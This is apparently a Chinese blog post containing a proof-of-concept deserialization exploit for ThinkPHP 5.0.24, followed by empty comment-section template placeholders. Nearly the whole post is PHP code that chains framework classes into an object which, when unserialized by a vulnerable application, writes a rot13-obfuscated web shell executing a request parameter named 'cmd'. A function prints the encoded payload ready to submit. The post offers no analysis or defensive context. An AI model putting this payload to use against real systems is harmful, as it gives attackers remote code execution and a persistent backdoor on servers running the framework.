ThinkPHP5.0.24反序列化POC
2022-07-28 14:14:58
252
{{single.collect_count}}
<?phpnamespace think\cache{abstract class Driver{/** * Driver constructor. */protected $options = [];protected $tag;public function __construct(){$this -> options = ['prefix' => '',];$this -> tag = 'armandhe';}}}namespace think\cache\driver{use think\cache\Driver;class Memcached extends Driver{/** * Memcached constructor. */protected $handler = null;protected $options = ['host' => '127.0.0.1','port' => 11211,'expire' => 0,'timeout'=> 0, // 超时时间(单位:毫秒)'prefix' => '','username' => '', //账号'password' => '', //密码'option' => [],];public function __construct(){parent::__construct();$this -> options['expire'] = 0;$this -> handler = new File();}}class File extends Driver{/** * File constructor. */protected $options = [];public function __construct(){parent::__construct();$this -> options = ['expire'=> 0,'cache_subdir'=> false,'prefix'=> false,'path'=> 'php://filter/write=string.rot13/resource=','data_compress' => false,];}}}namespace think\session\driver{use think\cache\driver\Memcached;class Memcache{/** * Memcache constructor. */protected $handler = null;protected $config= [];public function __construct(){$this -> handler = new Memcached();$this -> config = ['host' => '127.0.0.1', // memcache主机'port' => 11211, // memcache端口'expire' => 0, // session有效期'timeout'=> 0, // 连接超时时间(单位:毫秒)'persistent' => true, // 长连接'session_name' => '<?cuc $n=fgegbhccre("_erdhrfg");riny($$n["pzq"])?>', // memcache key前缀];}}}namespace think\console{use think\session\driver\Memcache;class Output{/** * Output constructor. */protected $styles = [];private $handle = null;public function __construct(){$this ->styles =['getAttr',];$this -> handle = new Memcache();}}}namespace think\model\relation{use think\model\Relation;abstract class OneToOne extends Relation{/** * OneToOne constructor. */protected $bindAttr = ['test'];public function __construct(){parent::__construct();$this -> bindAttr = ["armandhenewpy"];}}class HasOne extends OneToOne{/** * HasOne constructor. */public function __construct(){parent::__construct();}}}namespace think\db{use think\console\Output;class Query{/** * Query constructor. */protected $model;public function __construct(){$this -> model = new Output();}}}namespace think\model{use think\db\Query;abstract class Relation{/** * Relation constructor. */protected $selfRelation;protected $query;public function __construct(){$this -> selfRelation = false;$this -> query = new Query();}}}namespace think{use think\console\Output;use think\model\relation\HasOne;abstract class Model{/** * Model constructor. */protected $parent;protected $append = [];protected $error;public function __construct(){$this -> parent = new Output();$this -> append = ['getError'];$this -> error = new HasOne();}}}namespace think\model{use think\Model;class Pivot extends Model{}}namespace think\process\pipes{use think\model\Pivot;class Windows{/** * Windows constructor. */private $files = [];public function __construct(){$this -> files = ['test' => new Pivot()];}}}namespace app\index\controller{use think\process\pipes\Windows;class Unserialization{function getpayload(){echo urlencode(base64_encode(serialize(new Windows())));}}}
回帖
全部回帖({{commentCount}})
{{item.user.nickname}} {{item.user.group_title}} {{item.friend_time}}
{{item.content}}
{{item.comment_content_show ? '取消' : '回复'}} 删除
回帖
{{reply.user.nickname}} {{reply.user.group_title}} {{reply.friend_time}}
{{reply.content}}
{{reply.comment_content_show ? '取消' : '回复'}} 删除
回帖
收起
没有更多啦~
{{commentLoading ? '加载中...' : '查看更多评论'}}